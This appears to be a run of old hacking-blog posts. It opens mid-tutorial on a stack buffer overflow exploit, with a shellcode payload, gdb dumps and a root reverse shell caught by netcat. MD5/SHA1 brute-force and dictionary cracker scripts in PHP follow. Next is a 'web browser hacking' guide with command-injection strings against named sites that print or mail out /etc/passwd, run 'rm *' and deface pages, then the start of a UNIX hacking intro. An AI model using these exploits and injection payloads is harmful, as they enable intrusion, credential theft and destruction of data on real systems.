`perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'`

we will overwrite eip with BBBB (0x42424242) for debugging purposes..

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

as you can see eip got overwritten with 0x42424242 which is BBBB and BBBB is the last
part of our payload which we used to overwrite eip..

now we need to point eip to our nopsled instead of 0x42424242

lets analyze our memory and see where our nopsled is:

(gdb) x/2000xb $esp

now lets hit enter untill we see a huge set of NOP instructions (0x90)

0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff6f0: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff6f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff700: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff708: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff710: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff718: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff720: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff728: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff730: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff738: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff740: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff748: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff788: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff790: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90

just before our NOPSLED we see our garbage data full of A's (0x41)
thats how we constructed our payload before :)

after our NOPSLED we have our shellcode:

0xbffff820: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff828: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff830: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff838: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff840: 0x90 0x90 0x90 0x90 0x90 0x31 0xc9 0x83
0xbffff848: 0xe9 0xee 0xd9 0xee 0xd9 0x74 0x24 0xf4
---Type <return> to continue, or q <return> to quit---
0xbffff850: 0x5b 0x81 0x73 0x13 0x5e 0x10 0xdb 0x16
0xbffff858: 0x83 0xeb 0xfc 0xe2 0xf4 0x6f 0xcb 0x88
0xbffff860: 0x55 0x0d 0x7a 0xd9 0x7c 0x38 0x48 0x52
0xbffff868: 0xf7 0x93 0x90 0x48 0x4f 0xee 0x2f 0x16
0xbffff870: 0x96 0x17 0x69 0x22 0x4d 0x04 0x78 0xd1
0xbffff878: 0x16 0x5e 0x89 0xbd 0x7e 0x79 0x1f 0x98
0xbffff880: 0x70 0x0d 0x99 0x3a 0xa6 0x38 0x40 0x8a
0xbffff888: 0x45 0xd7 0xf1 0x98 0xdb 0xde 0x42 0xb3

our shellcode starts with \x31 as you can see..

now we need to overwrite eip so it points to somewhere in our set of NOP instructions

it will execute the NOP instructions till it reaches our shellcode
and when it executes our shellcode it will bring us a reverse shell on
port 9999..

so lets choose an address which is in our nopsled..

0xbffff740

lets write it in little-endian format (reversely)

\x40\xf7\xff\xbf

and lets place that in our payload.. so it will look like this:

`perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`

lets run the program with gdb and our payload as an argument..

(gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/Security/Vulntest/vuln-prog `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\xd9\x7c\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x17\x69\x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\x70\x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x40\xf7\xff\xbf"'`

now let's turn back netcat which we left listening on port 9999

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...
10.0.0.153: inverse host lookup failed: No address associated with name
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126

as you can see we overflowwed the buffer and got ourselves a reverse shell :D

bash-3.00# nc -l -p 9999 -vv
listening on [any] 9999 ...
10.0.0.153: inverse host lookup failed: No address associated with name
connect to [10.0.0.153] from (UNKNOWN) [10.0.0.153] 59126
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),17(audio),18(video),19(cdrom)
uname -a
Linux hp 2.6.17.6 #1 SMP PREEMPT Sun Jul 16 14:49:45 CEST 2006 i686 unknown unknown GNU/Linux

Analysis of brute force & dictionary attacks

2012-08-15T04:55:00.006-07:00

.-::Analysis of brute force & dictionary attacks.::-.

[ 0x00 ] Chapters
================================================
[ 0x01 ] Prologue
[ 0x02 ] Terms & Conventions
[ 0x03 ] Tools, Environment & Prerequisites
[ 0x04 ] Basic Theory
[ 0x05 ] ASCII Codes
[ 0x06 ] Hashes
[ 0x07 ] Brute Force Attack
[ 0x08 ] Theory
[ 0x09 ] Source Code Analysis
[ 0x0a ] Dictionary Attack
[ 0x08 ] Theory
[ 0x09 ] Source Code Analysis
[ 0x0d ] Famous Crackers
[ 0x0e ] Pros and Cons of the 2 attacks
[ 0x0f ] Epilogue
================================================

[ 0x01 ] Prologue
===============================================
A lot of discussion has taken place for a long time in password cracking techniques.
In this paper we will analyze the two most commonly used techniques.
The first one being "Brute Force Attacks" and the second "Dictionary Attacks".
We will start from the hardest and most effective one, brute force.
After that, dictionary attacks will look like a piece of cake.

I hope that you will find the paper interesting and enlightening.

[ 0x02 ] Terms & Conventions
============================================
Blocks between:
"*********************************************************************************************"
contain code.

Blocks between:
"---------------------------------------------------------------------------------------------"
contain preformatted or special text.

Cryptography:
=============
Cryptography (or cryptology; derived from Greek ....... krypt�s "hidden," and ....... gr�fein
"to write") is a discipline of mathematics concerned with information security and related issues,
particularly encryption, authentication, and access control. Its purpose is to hide the meaning
of a message rather than its existence. [ http://en.wikipedia.org/wiki/Cryptography ]

Encryption:
===========
In cryptography, encryption is the process of obscuring information to make it unreadable without
special knowledge. [ http://en.wikipedia.org/wiki/Encryption ]

[ 0x03 ] Tools, Environment & Prerequisites
============================================
In oder for the examples presented here to be functional your system must comply with the following:

Operating System:
=================
Linux with a 2.6.x kernel.
Other versions might work, I can't guarantee anything though.
Get it from: http://www.kernel.org/

Compiler:
=========
gcc 4.1.0 and higher
I'm pretty sure any other version will work, it's just that v.4.1.0 is what I used to develop the examples.
Get it from: http://gcc.gnu.org/

PHP:
====
PHP 5.1.2 will be used for some examples.
I'm pretty sure any other version will work.
Get it from: http://www.php.net/

Chances are you already have all that software installed, but better make sure.

[ 0x04 ] Basic Theory
============================================
Ok, that's fairly easy to grasp, even though I'm a lousy teacher. :P
Let's move on.

[ 0x05 ] ASCII Codes
============================================
You probably already know this but it doesn't hurt to review it.
Computers don't know characters, they only understand binary, "0"s & "1"s.
For our comfort, though, we have fashioned other systems too, Hexadecimal, Decimal, Octal etc.
It would be pretty hard for a human to read binary, even decimal, that's when ASCII comes into play.
ASCII, American Standard for Information Interchange, codes represent characters and are expressed
in Decimal, Hexadecimal etc.
We will work with decimal codes here.
An example follows:
"A"=65, "B"=66 ... "Z"=90
So "ZAPOTEK" = 90 65 80 79 84 69 75 .
That's very useful when it comes to generating passwords, you'll see why in later chapters.

[ 0x06 ] Hashes
============================================
That's significantly harder than the ASCII codes.
Long story short, a hash is a "fingerprint" of some piece of data.
In general, a lot of hash functions exist, the most popular are MD5, SHA1, CRC.
What makes hashes so important is that they are one-way, at least they are supposed to be.
For example, the word "hash" has an MD5 hash of "0800fc577294c34e0b28ad2839435945".
And the fact that it is one-way means that we cannot figure out what the encrypted data was from it's hash.
Hashes are also used as checksums, meaning that we can use them to check if transported data is not
corrupted in some way. Even if a byte is missing from the data the hash will differ from the original one.
That comes in handy in password validation too, you'll see.

[ 0x07 ] Brute Force Attack
============================================
Remember when I said that we cannot recompute the data from the hash?
That's was true, the only thing we can try is bruteforcing.
Say, we have the password "hash", which converts to "0800fc577294c34e0b28ad2839435945".
The only way we can figure out the password from the hash is to brute force it.

[ 0x08 ] Theory
============================================
Brute forcing is the method of testing random strings against a given hash until we find a match.
The way string generation works is that we generate a random number between the ASCII codes "65" to "90",
that's for capital, English, characters, and then convert it to it's ASCII equivalent character
By adding up characters we generate our random string.
Looping through random strings until we exhaust the keyspace is the hard part because the keyspace increases
dramatically depending on the characters in the string, it's length, and the HASH function used.

Generally the following keyspace formula applies:
---------------------------------------------------------------------------------------------
keyspace = characters_used ^ string_length
---------------------------------------------------------------------------------------------
characters_used = the number of different characters used in the string
string_length = the amount of characters in a string

Worst case scenario is:
---------------------------------------------------------------------------------------------
keyspace = 94 ^ a_very_big_number
---------------------------------------------------------------------------------------------
94 ensues from the number of printable ASCII characters.

In case you didn't notice, keyspace is equal to the number of possible generated strings for the
given character set and string length.
So, looping until we exhaust the keyspace ensures that we will find a match.
If however the keyspace is exhausted and we have no match, either the string length is wrong,
or the character set is different from what was expected.
That's pretty much the gist.

[ 0x09 ] Source Code Analysis
============================================
This is a John the Ripper kind of bruteforcer in PHP:

bruteforcer.php:
*********************************************************************************************
<?php
/*
* @author: zapotek <zapotek[at]segfault.gr>
* @version: 0.1
* @name: MD5/SHA1 BruteForcer
* @description: A sample MD5/SHA1 bruteforcer in PHP, inspired from JTR.
*/
error_reporting(0);

echo "MD5/SHA1 Bruteforcer\n".
"by Zapotek <zapotek [at] segfault.gr\n\n";

// is we have insuficient parameters return usage
if ($argc!=3){
echo "Usage:
".$argv[0]." <hash> <lenght>
<hash> The MD5/SHA1 hash
<lenght> The estimated length of the encrypted string\n";
exit(1);
}

array_shift($argv);
$hash = array_shift($argv); // get the hash
$len = (int) array_shift($argv); // get the hash length
$start = strtotime ("now");
$start2 = strtotime ("now");
$keyspace = pow(75,$len); // compute keyspace

// decide the encryption algorithm
switch (strlen($hash)) {

//If the Hash is 32 chars long it's a MD5 Hash
//(Only for HEX encoded hashes)
case 32;
$algo="MD5";
break;

//If the Hash is 40 chars long it's a SHA1 Hash
//(Only for HEX encoded hashes)
case 40;
$algo="SHA1";
break;

//Else print error msg
default;
echo "Could not determine the encryption algorithm.\n";
echo "Ensure that the Hash is correct and try again.\n";
exit();
}

// generate initial key
$key = "";
for ($y=0;$y<$len;$y++){
$key .= "0";
}

// return some info to the user
echo "Specified string length: $len characters\n".str_repeat("-",65).
"\n$algo hash: $hash\n".str_repeat("-",65).
"\nKeySpace: $keyspace characters\n".str_repeat("-",65)."\n";

// loop through the keyspace
for ($x=0;$x<$keyspace;$x++){
// generate random string
for ($y=0;$y<$len;$y++){
// if we haven't reached "z" yet, move on to the next character
if ($key[$y] != "z"){
// create character from number
$key[$y] = chr(ord($key[$y])+1);
// zero the rest of the string out
if ($y > 0){
for ($z = 0; $z < $y; $z++){
$key[$z] = "0";
}
}
break;
}
}

// create hash from random string
$gen_hash = ($algo=="MD5")? md5($key):sha1($key);
// if the hashes match we have a winner!
if($hash==$gen_hash){
// inform the user we cracked the hash
echo "\nDecrypted string: $key\n".
str_repeat("-",65).
"\nOperation took: ".
date("H:i:s",mktime(0,0,strtotime("now")-$start2)).
"\n".str_repeat("-",65)."\n";
// and exit
exit(0);
}

// print out some statistics
if ($x % 24000 == 0){
$x2++;
if ($x2 == 4){
$x2 =0;
$time = strtotime ("now") - $start;
$start = strtotime("now");
if ($time==0) $time=1;
$rate = (24000 *4) / $time;
echo " $x/$keyspace ($key) [$rate Keys/sec]".
" [".round(100-(($keyspace-$x)/$keyspace)*100,3)."%]".
" [".gmdate("H:i:s", round((($keyspace-$x)/$rate),3))." left]\n";
}
}
}

// if the keyspace loop is finished with no match inform the user we failed
echo "\nKeyspace exhausted.\n".
"Please check the provided lentgh and try again.\n"
?>

*********************************************************************************************

Lets give this baby a trial run.

For an MD5 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php 900150983cd24fb0d6963f7d28e17f72 3
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length: 3 characters
-----------------------------------------------------------------
MD5 hash: 900150983cd24fb0d6963f7d28e17f72
-----------------------------------------------------------------
KeySpace: 421875 characters
-----------------------------------------------------------------
72000/421875 (1l<) [96000 Keys/sec] [17.067%] [00:00:03 left]
168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]
264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]

Decrypted string: abc
-----------------------------------------------------------------
Operation took: 00:00:03
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

For a SHA1 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php a9993e364706816aba3e25717850c26c9cd0d89d 3
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length: 3 characters
-----------------------------------------------------------------
SHA1 hash: a9993e364706816aba3e25717850c26c9cd0d89d
-----------------------------------------------------------------
KeySpace: 421875 characters
-----------------------------------------------------------------
72000/421875 (1l<) [96000 Keys/sec] [17.067%] [00:00:03 left]
168000/421875 (1qM) [96000 Keys/sec] [39.822%] [00:00:02 left]
264000/421875 (1v^) [96000 Keys/sec] [62.578%] [00:00:01 left]

Decrypted string: abc
-----------------------------------------------------------------
Operation took: 00:00:03
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

Well, that's easy, lets give it a bit of a challenge.
Let's see what happens with "fb50df9b6b86db51569f2bab6457a24e" (= "zapo")
(I'd give it "zapotek" but the keyspace would get exhausted at around 6hours, so...)
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php bruteforcer.php fb50df9b6b86db51569f2bab6457a24e 4
MD5/SHA1 Bruteforcer
by Zapotek <zapotek [at] segfault.gr

Specified string length: 4 characters
-----------------------------------------------------------------
MD5 hash: fb50df9b6b86db51569f2bab6457a24e
-----------------------------------------------------------------
KeySpace: 31640625 characters
-----------------------------------------------------------------
72000/31640625 (1l<0) [96000 Keys/sec] [0.228%] [00:05:28 left]
168000/31640625 (1qM0) [96000 Keys/sec] [0.531%] [00:05:27 left]
264000/31640625 (1v^0) [96000 Keys/sec] [0.834%] [00:05:26 left]
.............
26664000/31640625 (1D?o) [96000 Keys/sec] [84.271%] [00:00:51 left]
26760000/31640625 (1IPo) [48000 Keys/sec] [84.575%] [00:01:41 left]
26856000/31640625 (1Nao) [96000 Keys/sec] [84.878%] [00:00:49 left]

Decrypted string: zapo
-----------------------------------------------------------------
Operation took: 00:03:57
-----------------------------------------------------------------

---------------------------------------------------------------------------------------------

Pretty cool huh?
By the way, the time reported at the right is how much it will take for the script to try all
the possible combinations and not necessarily the exact time it'll take to crack a given hash.

The comments in code make it easy to grasp so I won't explain it line-to-line, so I'll just paint
you the big picture in steps.

1) Read the hash & estimated string length from user input
2) Decide hash type depending on it's length (given that the hash is hexadecimal)
3) Compute the keyspace (75^estimated string length)
4) Create an initial key containing only "0"s
5) Loop until we have reached the end of the keyspace
6) Loop until we have crated a random string
7) Compare the random string's hash with the one provided by the user
8) If we have a match inform the user and exit, else keep looping
9) If we have exhausted the keyspace tell the user we were unable to find a matching hash

That's pretty much it...

[ 0x0a ] Dictionary Attack
============================================
If you understood the previous chapter this will be a walk in the park.

[ 0x08 ] Theory
============================================
Dictionary attacks are like brute force attacks, but significantly easier.
Instead of creating our own random strings we read them from a dictionary and then test them against
a given hash. And, instead of looping until the end of the keyspace, we loop until the end of file.
That's all there is to it.
Now, to some code.

[ 0x09 ] Source Code Analysis
============================================
dicattack.php:
*********************************************************************************************
#!/usr/bin/php
<?php

/*
* @author: zapotek <zapotek[at]segfault.gr>
* @version: 0.1
* @name: DicAttack
* @description: A sample dictionary attacker in PHP.
*/

$supported= "MD5/SHA1";
$name= array_shift($argv);
$wordlst= array_shift($argv);
$hash= array_shift($argv);

// timer
function getmicrotime() {
list ($usec, $sec)= explode(" ", microtime());
return ((float) $usec + (float) $sec);
}

// the function that does the cracking
function crack($algo) {
global $wordlst, $hash;
// start the timer
$time_start= getmicrotime();
// read the dictionary
$wordlist= file_get_contents($wordlst);
// do some error checking
if (!$wordlist) {
echo "Cannot access $wordlst.\n";
echo "Ensure that the file exists and try again.\n";
}else{
// put the words in an array
$words=explode("\n",$wordlist);
// create each word's hash
foreach ($words as $word) {
// create the word's hash
switch ($algo) {

case "md5";
$word_hash= md5($word);
break;

case "sha1";
$word_hash= sha1($word);
break;
}
// compare the hashes
if ($word_hash == $hash) {
// stop the timer
$time_stop= getmicrotime();
echo "Crack Successful!\n"."-----------------\n";
echo "$hash = $word\n"."-----------------\n";
$time= $time_stop - $time_start;
echo "[ Operation took $time seconds ]\n\n";
exit();
}
}
}
}

// in case of insuficient arguments return usage info
if ($argc != 3) {
stamp();
exit();
}

// decide the hash type
// given that the hash is in hexadecimal format
switch (strlen($hash)) {

// if the hash is 32 bytes it must be a MD5 Hash
case 32;
echo "\nGuessing MD5...\n\n";
crack("md5");
break;

// if the hash is 40 bytes it must be a MD5 Hash
case 40;
echo "\nGuessing SHA1...\n\n";
crack("sha1");
break;

// else return an error msg
default;
echo "Could not determine the encryption algorithm.\n";
echo "Ensure that the Hash is correct and try again.\n";
break;
}

// the usage stamp
function stamp() {
global $supported, $name;
echo "\nDicAttack\n-------\n";
echo "Simple Wordlist Based Password Cracker\n";
echo "Currently supporting $supported\n";
echo "Syntax: $name <wordlist file> <hash>\n\n";
}

echo "Couldn't find a match check your dictionary or hash and retry.\n";

?>

*********************************************************************************************
The code is fairly simple and usage examples follow.

We will be using this file as a wordlist.

list.txt:
---------------------------------------------------------------------------------------------
a
b
c
ab
bc
abc

---------------------------------------------------------------------------------------------

For an MD5 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php dicattack.php list.txt 900150983cd24fb0d6963f7d28e17f72

Guessing MD5...

Crack Successful!
-----------------
900150983cd24fb0d6963f7d28e17f72 = abc
-----------------
[ Operation took 0.028094053268433 seconds ]

---------------------------------------------------------------------------------------------

For a SHA1 hash:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents> php dicattack.php list.txt a9993e364706816aba3e25717850c26c9cd0d89d

Guessing SHA1...

Crack Successful!
-----------------
a9993e364706816aba3e25717850c26c9cd0d89d = abc
-----------------
[ Operation took 0.00048303604125977 seconds ]

---------------------------------------------------------------------------------------------

Once again, these are the steps:
1) Read the hash from user input
2) Decide hash type depending on it's length (given that the hash is hexadecimal)
3) Read the dictionary
4) Put every word in an array
5) Loop through the array of words
6) Create each words hash and compare it with the user given hash
7) If we have a match inform the user and exit, else keep looping
8) If we have exhausted the array tell the user we were unable to find a matching hash

[ 0x0d ] Famous Crackers
============================================
Ok, these scripts are far from optimized and not suited for serious cracking.
Fortunately, a lot of advanced, high-end, applications exist, a list follows:

John The Ripper
===============
Ok, who hasn't heard of that before huh?
Very fast hash cracker supporting a lot of algorithms.
Website: http://www.openwall.com/john/

Cain & Abel
===============
That's more of a security suite than just a cracker.
Sniffer, cracker, decrypter, encrypter you name it, it's got it.
It's only for windows and it can extract VERY interesting information from a system.
Website: http://www.oxid.it/cain.html

RainbowCrack
===============
Now that's a big boy toy!
The difference of RainbowCrack from other crackers is that it reads precomputed hashes
which make password cracking faster. Considering that the precomputed hash tables can
reach terrabytes in size you can imagine how many hashes you have before you even know it.
Problem is though, unless you have a cluster it is better to get the hash tables from
somewhere else than generate them yourself.
Website: http://www.antsight.com/zsl/rainbowcrack/

L0phtCrack5
===============
That's the Cadillac of password recovery tools for Windows.
It's a sad thing that @stake got bought from Symantec and stopped supporting LC.
Search for LC5, though, chances are someone has a copy buried somewhere.

LCP
===============
That's a freeware L0phtCrack clone.
Unfortunately, it runs only on Windows boxes
Website: http://www.lcpsoft.com/english/index.htm

These are the most widely used applications, give them a shot, you'll love them.

[ 0x0e ] Pros and Cons of the 2 attacks
============================================

Brute Force
=================
Pros Cons
----- -----
It is guaranteed that the hash will get cracked It might even take years for the crack to complete
It requires a lot of computation power

Dictionary Attack
=================
Pros Cons
----- -----
Faster than bruteforcing Significantly less chances to crack a hash than bruteforce
A lot of big dictionaries are freely available If the encrypted string is random no "valid" wordlist will crack it

[ 0x0f ] Epilogue
============================================
Ok, this paper got to an end.
It wasn't a big, in depth, analysis of the 2 techniques but I hope that it
served as a good starting point.

Hacking from your Web Browser

2012-08-15T04:54:00.001-07:00

Hacking from your Web Browser

************************************************************************

I - Introduction

This file will describe several techiniques to aquire a password file just by using an ordinary web browser. The information provided will be best described for the beginner hacker, but all hackers should benifit from this information. We will only cov

er phf in this file but, feel free to explore other programs in the cgi directory such as nph-test-cgi or test-cgi. And now . . . get comfortable... sit back.... and read.

II - Hacking from your Web Browser

There are several techniques on what I call "Web Browser Hacking". Many beginners dont know that you cant query a etc/passwd file from your browser and in this chapter I will describe all the ways to aquire a passwd file. First you need to find a box t

hat is running the cgi-bin/phf file on their system. A great way to find out without trial and error is to go to www.altavista.com and just search on cgi-bin AND perl.exe or cgi-bin AND phf.

a. Finger box hacking:
Lets say you wanted to break into somewhere like .... hmmmm AOL. The first thing we would do is type in their web site in the URL: Http://www.aol.com. The next thing we would do is add /cgi-bin/finger to the web URL so it would look like this Http://

www.aol.com/cgi-bin/finger. If the finger gateway is operational a box should appear for you to enter the name you want to finger. If it is operational you have a chance to receive the etc/passwd file. Next thing you will probably want to do is search

for a mailto on the web page... just scan the page for any mailto refs. Go back to the finger box and type in this query...... nobody@nowhere.org ; /bin/mail me@junk.org < etc/passwd ...this string takes nobody and emails the passwd file to your email

address. If this works you now have the etc/passwd file in your mailbox.... you can now run a crack program against it and have a little fun on their box.

b. The common cgi-bin/phf query:
This section is for the very beginning hacker (All advanced hackers need not apply) Lets take the same scenerio from the first example except in the URL we would type ... Http://www.aol.com/cgi-bin/phf ... if the phf is operational and has not been rem

oved you should get a series of search boxes on the next page ( ignore these boxs) to your URL you would add this string ?Qalias=x%0a/bin/cat%20/etc/passwd... so the entire string would look like this Http://www.aol.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20

/etc/passwd. This string will print out the etc/passwd file strait to your web browser all you need to do is save it as a file and again run a crack program against it. (This is considering that they are not :*: or :x:).

c. Dont take my cgi form:
This section will explain how to use somebody else's cgi form to obtain the etc/passwd file. Lets say you look at a document source from a web page and find this in the source:
<html><body>
<h2>This is a form to go to Modify</h2>
<form action = "http://www.aol.com/cgi-bin/doc.pl" method="get">
<input type="hidden" name="myaddress" value="nobody@aol.com">
<input type="text" name="input">
<input type="submit" value="send">
</form>
</body></html>

This is a simple form that asks a user to input a message to be sent to a script called doc.pl. Included in the doc.pl script is the following line which is assuming the line has already been parsed out.

system("/usr/lib/sendmail -t $myaddress < $tempfile")

Now lets set up your page:

<html><body>
<h2>Hack AOL</h2>
<form action = "http://www.aol.com/cgi-bin/doc.pl" method = "get">
<input type="hidden" name="myaddress"
value=" ; rm * ;mail -s file youraddress@yourisp.com < /etc/passwd;">
<input type = "text" name="input">
<input type = "submit" value=:"getpasswd">
</form>

The semicolons in the hidden value field act as delimiters, they separate the UNIX commands, this executes commands on the same line. The system call in PERL and creates a UNIX shell, and in here mails the passwd file to you.

d. Changing web pages from your browser:
This short section will describe the string to use to edit a web page from your web browser. Same scenario as the first section.... http://www.aol.com.... we will then add the following string cgi-bin/phf?Qalias=x%0a/bin/echo%20 "some text and shit"%2

0>>filename.html...... This string will allow you to write to the filename.html and add "some text and shit" be noted it has to be in html format. You can place text, pictures or whatever you like.

III - Conclusion

This information should be able to direct a beginner in obtaining the etc/passwd file from a system using the web browser... It may also inform the guru's and advanced hackers some bits of information of perl and cgi. In further reading check out my sec

ond file that will involve erasing log files from the web browser. I hope you all enjoyed this documentation and found it somewhat interesting...... wake up!!! thus I conclude.....

Modify.

IV - Suggested Reading

Phrack Magazine: Very informative.... covers just about everything from phreaking to hacking.... Just download all the damn articles.

Building Internet Firewalls by O'Reilly & Associates, Inc. aka "The Big Wooden Door"": Covers all kinds of attacks, different firewall solutions, and invulnerablities.

Perl in 21 days by Samsnet: Good starting book in Perl programming also covers security issues.

Cgi programming by Samsnet: Good starter for Cgi but if you dont know Perl or C programming then dont bother, also covers security issues.

UNIX hacking

2012-08-15T04:52:00.005-07:00

.. The Beginner's guide ..
.. to UNIX hacking ..

,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,,..

Ok done with the sloppy ass ascii art. The reason I am
even writing this text is because of the incoming increase in questions like "how do I hack
hotmail" or aol or another lame question. This text should explain to you that you have to
actually know something to "hack." Read through the whole text if you are a beginner, and
if you know a little, skip through and you should understand it. I will probably be adding
to this text to make it include more info, and to make it easier to understand, the basic
reason I wrote this is to STOP people from asking me and others how to do STUPID things
yes it is STUPID to ask how to hack, it makes you look stupid and you will never be anything
unless you can't teach yourself.

